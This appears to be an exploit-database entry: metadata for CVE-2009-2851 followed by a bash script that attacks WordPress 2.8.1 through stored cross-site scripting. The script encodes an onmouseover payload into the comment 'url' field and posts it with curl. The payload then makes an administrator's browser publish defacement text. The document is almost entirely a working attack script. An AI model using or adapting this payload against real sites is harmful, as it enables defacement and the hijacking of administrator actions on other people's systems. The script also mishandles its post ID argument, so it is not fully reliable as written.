WordPress Core 2.8.1 - 'url' Cross-Site Scripting

Author: superfreakaz0rz
type: webapps
platform: php
port: 
date_added: 2009-07-23 
date_updated: 2017-05-04 
verified: 1 
codes: CVE-2009-2851;OSVDB-56193 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comWordPress-2.8.1.zip

#!/bin/bash

echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
	echo "$0 <url> [postID]"
	echo "f.e. $0 www.worstpress.eu"
	exit
fi

if [ "X$POSTID" = "X" ]; then
	POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

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